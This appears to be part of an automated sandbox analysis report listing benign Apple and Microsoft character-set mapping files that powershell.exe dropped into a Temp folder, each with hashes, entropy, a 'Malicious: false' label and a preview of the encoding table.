Preview:	#=======================================================================..# FTP file name: CENTEURO.TXT..#..# Contents: Map (external version) from Mac OS Central European..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b1>, ufrm<b1>, and Text..# Encoding Converter version 1.5...# n05 1998-Feb-05 Update header comments to new format; no..# mapping changes. Matches internal utom<n3>,..# ufrm<n13>, and Text Encoding Converter..# version 1.3...# n03 1995-Apr-15 First version (after fixing some typos)...# Matches internal ufrm<n5>...#..# Standard header:.

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	18923
Entropy (8bit):	5.022754936026668
Encrypted:	false
SSDEEP:	384:+aT8iQfVsEByru8n1ePc1RJ1lX1HEvSZ3:dIqEc/X1kvSZ3
MD5:	0FBAD8E1C335AC42617936AA6F89EC89
SHA1:	02BA453ABFBE24B25C35A2D75C6134714B3D7D43
SHA-256:	83246B8C942CBACF1031445A99E62ACBB4733EF4167BEBFBA2BD852869824EAB
SHA-512:	AB9E0BB4CAE4C72CBCCF7D061F1F181DC86277E8E59424802422C6641BEC864D3E87B2261D56CB7991E3F60C5C6F56A814073F7D180745B8499C05C39F93842A
Malicious:	false
Preview:	#=======================================================================..# FTP file name: CORPCHAR.TXT..#..# Contents: Registry (external version) of Apple use of..# Unicode corporate-zone characters...#..# Copyright: (c) 1994-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b03 1999-Sep-22 Update contact e-mail address. Matches..# internal registry <b3> and Text Encoding..# Converter version 1.5...# b02 1998-Aug-18 Expanded usage of 0xF8A0. Matches internal..# registry <b3>...# n11 1998-Feb-05 Minor update to header comments..# n09 1997-Dec-14 Update to match internal registry <n23>:..# Add source hint 0xF850, transcoding hints..# 0xF860-0xF86B and 0xF870-0xF872,

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13523
Entropy (8bit):	5.296024692716919
Encrypted:	false
SSDEEP:	192:xO1i8BsiHo9EB0QguBwjEZGWRBnBb7ec56ZcjVNs0sDTZLzPF5Ofzwswsc3ATpGE:A1Dsi1BwjTWRRBb7e6vY9PspP
MD5:	5C36E2CBA7FDD612C575D50974EF708A
SHA1:	B7A92B10DE26A0E23434152694302E4867B011DC
SHA-256:	F353D83DEF5C9632FFD1925A0F1480E3DC0E00C096AFF5680E448CBFD97FAD05
SHA-512:	9A2A71BF2DE141F7E0A295AD40824E63B7B18F1D530D90B5EDEEC78DD23EAAB733D40F95EC320EE2C7686A113BEE58FB92D48875D347C669C4C82F9AC27AF76E
Malicious:	false
Preview:	#=======================================================================..# FTP file name: CROATIAN.TXT..#..# Contents: Map (external version) from Mac OS Croatian..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 8.5; change..# mapping of 0xDB from CURRENCY SIGN to EURO..# SIGN. Update contact e-mail address. Matches..# internal utom<b2>, ufrm<b2>, and Text..# Encoding Converter version 1.5...# n07 1998-Feb-05 Minor update to header comments..# n05 1997-Dec-14 Update to match internal utom<5>, ufrm<16>:..# Change standard mapping for 0xBD from U+2126..# to its canonical decomposit

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13403
Entropy (8bit):	5.295063801170879
Encrypted:	false
SSDEEP:	192:BWDRi8BsiHopYZXC4JqANEZGWRBnBb7ec56ZmuZ6VfDjCfzB+CXp1:kDRDsiZZXC4qWTWRRBb7e6/o6NIXD
MD5:	DB4ED5C205FDDD693DC9CE69CCCAD036
SHA1:	FFAE0BE88D51D71FB1E496156564E55F874EFAD9
SHA-256:	10738CD5BBA3B23C02D3655BF2AFDF72DAEAAEF778CDA562C6D10AE8D25CA591
SHA-512:	0402D575C17D03E7AF8BF44F36EAD7D4CCD283375B65D94597ED927A3975D5427483C681A2C604B6F61D796E9C92868620594B7661DE6321920C23A6BA281C96
Malicious:	false
Preview:	#=======================================================================..# FTP file name: CYRILLIC.TXT..#..# Contents: Map (external version) from Mac OS Cyrillic..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 9.0 to merge..# with Mac OS Ukrainian and support EURO SIGN;..# Change mappings for 0xA2, 0xB6, and 0xFF...# Update contact e-mail address. Matches..# internal utom<b2>, ufrm<b2>, and Text..# Encoding Converter version 1.5...# n05 1998-Feb-05 Update header comments to new format; no..# mapping changes. Matches internal utom<n3>,..# ufrm<n13>, and Text Enc

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	13326
Entropy (8bit):	5.304052629613915
Encrypted:	false
SSDEEP:	192:mHQSi8BsiHoGHUdfJt8skBEZGWRBnBb7ec56ZSj2z0sVRQvWJ9mfzDmb+mtGf0D:yhDsiydb8siTWRRBb7e6qvVCe8X2
MD5:	962D73AE58EA74DFA492BDA68064F130
SHA1:	B3ECD08894988A66C190AB75B88C3CC752ABA34F
SHA-256:	1CE082E86367551B2A21465D1B1C2EDC103242F7D565411DCEA0762E3DD63AA1
SHA-512:	5C3C8EE79C6714097B58276905F2532B1D8BE07FBE8DB129624F130BD6622BBA604393673D2932A08DF79EEA83CAEAF2CE157893EDE76BEF6FC1027573EA8592
Malicious:	false
Preview:	#=======================================================================..# FTP file name: GREEK.TXT..#..# Contents: Map (external version) from Mac OS Greek..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b1>, ufrm<b1>, and Text..# Encoding Converter version 1.5...# n06 1998-Feb-05 Update to match internal utom<n4>, ufrm<n17>,..# and Text Encoding Converter versions 1.3:..# Change mapping for 0xAF from U+0387 to its..# canonical decomposition, U+00B7. Also..# update header comments to new format...# n04 1995-Apr-15 First version (after fixing some typ

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\ICELAND.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14175
Entropy (8bit):	5.302410102144604
Encrypted:	false
SSDEEP:	192:496i8BsiHo4wg68wkw3EZGWRBnBb7ec56ZcjVNs0sDTZLF8GYpfzIiB7Ubc3jTpM:66Dsi61kw3TWRRBb7e6vYMGPaO
MD5:	48F0F1332ACA28076F1D479D8A1C0447
SHA1:	E19B21754D221F5FA53AECFB01B2578D9974F35D
SHA-256:	E04B3C96F65A27030B5E4B071D8E61B8EDE1D94CF7BF7845262B29BE2B7656AC
SHA-512:	7360AAB0683F102420E850E5B0CA7E366F605AEC7A3BE4305DC0FB27270209A006DC5AE1A28F68A7C4241BD1A674A215CE9C197E25AA3E18744691C1B987ABE6
Malicious:	false
Preview:	#=======================================================================..# FTP file name: ICELAND.TXT..#..# Contents: Map (external version) from Mac OS Icelandic..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 8.5; change..# mapping of 0xDB from CURRENCY SIGN to EURO..# SIGN. Update contact e-mail address. Matches..# internal utom<b2>, ufrm<b2>, and Text..# Encoding Converter version 1.5...# n06 1998-Feb-05 Minor update to header comments, add..# information on font variants..# n03 1997-Dec-14 Update to match internal utom<n4>, ufrm<n16>:..# Change standard mapping for 0xBD fro

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14394
Entropy (8bit):	5.320990806840885
Encrypted:	false
SSDEEP:	192:5iQi8BsiHo/F876g2pSSwpEZGWRBnBb7ec56ZcjVNs0sDTZLzGYpfzwUbc3jTpGN:VDsi88PSwpTWRRBb7e6vY9GcaO
MD5:	94A43862CB0159469484841D8370E552
SHA1:	45AFC896BB3EF65A7C77550244A52E7212DE89AD
SHA-256:	A58F56F7CF7767658CFF9FDFD1BA182CC74A513B3A2B6F34E44625FF811F53DD
SHA-512:	EB6454659FD8CB0A631875E27BBA01023EB3C75740379C2DEB514BC08577221A7914F2717F141134AEBC596CB4B34A523548A50F3448ABEDE2B87B4CCFCB93D5
Malicious:	false
Preview:	#=======================================================================..# FTP file name: ROMAN.TXT..#..# Contents: Map (external version) from Mac OS Roman..# character set to Unicode 2.1..#..# Copyright: (c) 1994-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b03 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b4>, ufrm<b3>, and Text..# Encoding Converter version 1.5...# b02 1998-Aug-18 Encoding changed for Mac OS 8.5; change..# mapping of 0xDB from CURRENCY SIGN to..# EURO SIGN. Matches internal utom<b3>,..# ufrm<b3>...# n08 1998-Feb-05 Minor update to header comments..# n06 1997-Dec-14 Add warning about future changes to 0xDB..# from CURRENCY S

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14763
Entropy (8bit):	5.310709655661504
Encrypted:	false
SSDEEP:	192:boRi8BsiHo/rUgyxUHwsEZGWRBnBb7ec56ZcjVNs0sDTZLzDvXYpfzTUbc3jTpGN:sRDsifxUHwsTWRRBb7e6vY9rhaO
MD5:	D39F6C0A8CFE6F118FFD105CF44DEA90
SHA1:	6C0AE83FD83E5B1AF2D288B149E0F7907DD378CC
SHA-256:	FF13110E8B448B033F464184A1A07B4CD32F0F0FEA203A4401C284073FFFAD66
SHA-512:	75A42575A542E95A9736DEAC09FE5480A52D514D9B09C2542A9BF7AF1DE104A3F83B29BF0C317B4D593D572BC1548728F2FB68115AB1506C5784528AE33710ED
Malicious:	false
Preview:	#=======================================================================..# FTP file name: ROMANIAN.TXT..#..# Contents: Map (external version) from Mac OS Romanian..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 8.5; change..# mapping of 0xDB from CURRENCY SIGN to EURO..# SIGN. Update contact e-mail address. Matches..# internal utom<b2>, ufrm<b2>, and Text..# Encoding Converter version 1.5...# n05 1998-Feb-05 Minor update to header comments..# n03 1997-Dec-14 Update to match internal utom<n5>, ufrm<n16>:..# Change standard mapping for 0xBD from U+2126..# to its canonical decompos

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	15702
Entropy (8bit):	5.388449528342355
Encrypted:	false
SSDEEP:	384:UDsinsKkRUJXEe3fLMxtASwgzWgfL3SR14oLLQQU0Kp9b:UY/wufLiR9LLQQUjp9b
MD5:	46485E1A024ABC31E8B9D2B4CA9A3B39
SHA1:	57F5F3109969A8DD8E71E1E925DEE37F2B61C016
SHA-256:	C57C451D4A524159BF143573CD0568869C8EED814A999BFF7F3E560DABD39F1D
SHA-512:	FBAFF075B556B461BA6DD731EC52DFE9D3A2BE202995E8DA1D4794AEDB812652A198FFCDAA0052C95FA57F94EDB5D51342B1A38E10F62A7CA506C41B759195E3
Malicious:	false
Preview:	#=======================================================================..# FTP file name: SYMBOL.TXT..#..# Contents: Map (external version) from Mac OS Symbol..# character set to Unicode 2.1..#..# Copyright: (c) 1994-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b03 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b3>, ufrm<b3>, and Text..# Encoding Converter version 1.5...# b02 1998-Aug-18 Encoding changed for Mac OS 8.5; add new..# mapping from 0xA0 to EURO SIGN. Matches..# internal utom<b3>, ufrm<b3>...# n05 1998-Feb-05 Update to match internal utom<n5>, ufrm<n15>..# and Text Encoding Converter version 1.3:..# Use standard Unicodes plus transcoding hints.

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12796
Entropy (8bit):	5.291769308017711
Encrypted:	false
SSDEEP:	192:y7gi8BsiHoGV1zjbweEZGWRBnBb7ec56ZcjVNs0sDTZLzGYpfzRzUUbc3jTpGNlw:WgDsiX1zjbweTWRRBb7e6vY9Gka3
MD5:	6BFAC3D4AB3AC941A0B2A29A56DE6F64
SHA1:	CDC38C3E0DE96C3F2B50448CF3DCF42D52E7E243
SHA-256:	9ECDE6F591CAED9C2CE4438884DA5F22E35FBDBB97E8D80B43129B23A6791891
SHA-512:	1E2645DF84C5392B09E85DAC63970BA49DEC9DEE63C06548F7717FBFCA2643646C1668202217EC836A663C4938FA45774D3C7A9A7254B926D75B0A32C90FD3EE
Malicious:	false
Preview:	#=======================================================================..# FTP file name: TURKISH.TXT..#..# Contents: Map (external version) from Mac OS Turkish..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b1>, ufrm<b1>, and Text..# Encoding Converter version 1.5...# n05 1998-Feb-05 Minor update to header comments..# n03 1997-Dec-14 Update to match internal utom<n5>, ufrm<n15>:..# Change standard mapping for 0xBD from U+2126..# to its canonical decomposition, U+03A9...# n02 1995-Apr-15 First version (after fixing some typos)...# Matches internal ufrm<n4>...#..# St

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4605
Entropy (8bit):	4.902825449710942
Encrypted:	false
SSDEEP:	96:OEyDE8TDyKJzAfa4evYBTY/qHoUbExiNU/qnTxFA:gD2i8BsiHobGHA
MD5:	96431211151B2E58C23262CCE683E033
SHA1:	FF90820BA88A249C4F8BB605D6F9D6CFCB896257
SHA-256:	98DD24A56E7D0E2BD2FC6A8BF429AA7BD3820B0D2D90456B972914639D2278ED
SHA-512:	28DCD7C9E41CD378F88A14DAFA5AE4CEC291206FEEA3BAE7A26C6F5681059CCBBF54A59C075A19F752E48658204C388B4495B707E7249F3622E827C24C83630B
Malicious:	false
Preview:	#=======================================================================..# FTP file name: UKRAINE.TXT..#..# Contents: Notes on Mac OS Ukrainian character set..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 9.0 to merge..# with Mac OS Cyrillic and support EURO SIGN;..# change mappings for 0xFF. For Mac OS 9.0..# there is no longer a separate Mac OS..# Ukrainian character set; the mappings are..# in CYRILLIC.TXT. Update contact e-mail..# address. Matches internal utom<b1>, ufrm<b1>,..# and Text Encoding Converter version 1.5...# n04 1998-Feb-05 Update header comments to new format; no..#

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9799
Entropy (8bit):	4.843544571163451
Encrypted:	false
SSDEEP:	192:a0LuVb+Mu1eIqY/tJVLTjbew68i/+raRKUWKfThEYh4AIhvDHFzxn62hxSAWUMuA:aV3+qw7VLTjbewlKfn+Qx
MD5:	3C9476725FBFEEFFB9F549D995EE2815
SHA1:	8E2502EB4FC5137AE6E776D1F1804A3AFB6EAE31
SHA-256:	CF79BA755416AE5628A9DD1F870306B5A45FD6B256EFED0C2AC1CC2CCB3307F0
SHA-512:	FF35C0A6A878C303567D957C0E465CD9BCD0678C1BE3953B3438C686B4F739FB6F47A465465119B474D468D46B19397955E688FC2B92F71ABBEC276BE072F5C8
Malicious:	false
Preview:	#..# Name: cp1250 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1250 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1250 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9474
Entropy (8bit):	4.8642300755279395
Encrypted:	false
SSDEEP:	192:3BHVb+Mu1eIqY/tJVLTjbew6a7ifHYhgjVJa66Oz9L:3v3+qw7VLTjbew/3GMOd
MD5:	2926366654DBC6711EE71BA2589161C3
SHA1:	455E6E5E78D03349454CB1C6B0175E9BF2B943CE
SHA-256:	F87ED4480CFDDB8F5F6226292338CA407CCC7B1A543F3832F1D20AFF6CB72A58
SHA-512:	A9A69E32A16ECF7DE291E4FA00C6CB349048CEB2F4070406C16B050439A4C2420A7DA0F1FC9A0B76E21439B8DEABCDD2085C3C14411A6032226C74274DD1E49B
Malicious:	false
Preview:	#..# Name: cp1251 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1251 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1251 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9624
Entropy (8bit):	4.844898968819124
Encrypted:	false
SSDEEP:	192:YUsVb+Mu1eIqY/tJVLTjbew6SiNNzu6NSCYyhrt0K5n9dWGufxvH+Gv:Y93+qw7VLTjbewtUSLO+RV
MD5:	93FB108016F8A1E87E4129B21FE9984B
SHA1:	F6D6B1CAC29FDFFE774E5175CB60970BA373A656
SHA-256:	FCA3AB5882F0A562794F05D7F15A39157C59D7C07FCBAC79AB7CF3D12C979541
SHA-512:	E0679DDB288423557170C09BF6848D6D8D74F9E70BD751131DB7BD248446606DB856A86AF7AC8E3500B2950261DE199A5EDE444D8BF451EE1CCC6CC854151342
Malicious:	false
Preview:	#..# Name: cp1252 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1252 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1252 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9207
Entropy (8bit):	4.894527598941472
Encrypted:	false
SSDEEP:	192:Nz9Vb+Mu1eIqY/tJVLTjbew6Si/0eTmVvZOzdTWb7D:Nr3+qw7VLTjbewGsB
MD5:	6B77BAAC03038B028948D2A667EFDAA1
SHA1:	6AFBC63AB3A2B0BF10CBE802F7633DA3E3198417
SHA-256:	2D36BEC3E1ECBF2B6DE8A37C98717AE21CA8C5BC0B487556996B3FFF2B6F6FD9
SHA-512:	D7541266B100AC879BE8139108344121B10390350B93D26C6F5C5279C18503D7B6829332281A892369DE4D578090987D1310201262C181ADDBC3B9D9495BD209
Malicious:	false
Preview:	#..# Name: cp1253 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1253 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1253 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9615
Entropy (8bit):	4.848162639665052
Encrypted:	false
SSDEEP:	192:uWKVb+Mu1eIqY/tJVLTjbew6SiNAH6NSCYyhrUJ0KXdWG0xvfxvHZ:ul3+qw7VLTjbewfUSL5y/D
MD5:	65D7C9205E1A1393B8530670ADD4E596
SHA1:	535CADA91E5FBA038E0FD9F2214F91A83C3BE45D
SHA-256:	32FA83C6F8AD346E66E544640942906E0A91CC0D2075324B7F244695DE5740A5
SHA-512:	95798F9E068A82380BDBDF649A2DD2F7CC72206444DE0A7B9AB2DE2CBD9938DC0856F2A0FAEB29BCC965900448DFB0E7DDDEF0CC8E1C5711896F1B82D40A3CA1
Malicious:	false
Preview:	#..# Name: cp1254 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1254 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1254 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9487
Entropy (8bit):	4.86319654192735
Encrypted:	false
SSDEEP:	192:BPJVb+Mu1eIqY/tJVLTjbew68i/vgIey4tvPhSiY+21KBrNbxlv0:BT3+qw7VLTjbew9Wo77A
MD5:	002134C7EA7F619246BBF445CAAD9F08
SHA1:	DEF97351B77EBF6210B6BFB69B8BC3A4F9A64C36
SHA-256:	7CB16A0B949F8573B06F22F091C44A1EA251CC9904591FCEB2743475302C4640
SHA-512:	95E4620258B0189B993BB56F2219F73D84145BD8E5B45F9AD70899D8DA0E742BB3EAD8697E5335E4DE895BED925F6212D96F813B0CE9383AE42A967CCA2730CA
Malicious:	false
Preview:	#..# Name: cp1257 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1257 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1257 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9477
Entropy (8bit):	4.8619811680211615
Encrypted:	false
SSDEEP:	192:Sy2Vb+Mu1eIqY/tJVLTjbew6SiNne6NSCYh3hDDEYx1W/nxKHK:S13+qw7VLTjbew/USLkfz
MD5:	88E9B5216B90D0332BD2CD4FCEE88A22
SHA1:	748EC8B8B4427F3B48B23B3B224C1CFFEA2DD169
SHA-256:	F53D0FFB7F3C8182794331CFDD2FBCF77FF6DBDB05B415C98CC8D6FC49DCE2FB
SHA-512:	9D5D6E0CF41E9054D3C9253CEC0A482DD97E412794523E352C06D39666931B1D8291FEF1C5BBEF629EB7C1BB53D866FE2EB925CB314026BF027EAABB1208F0BB
Malicious:	false
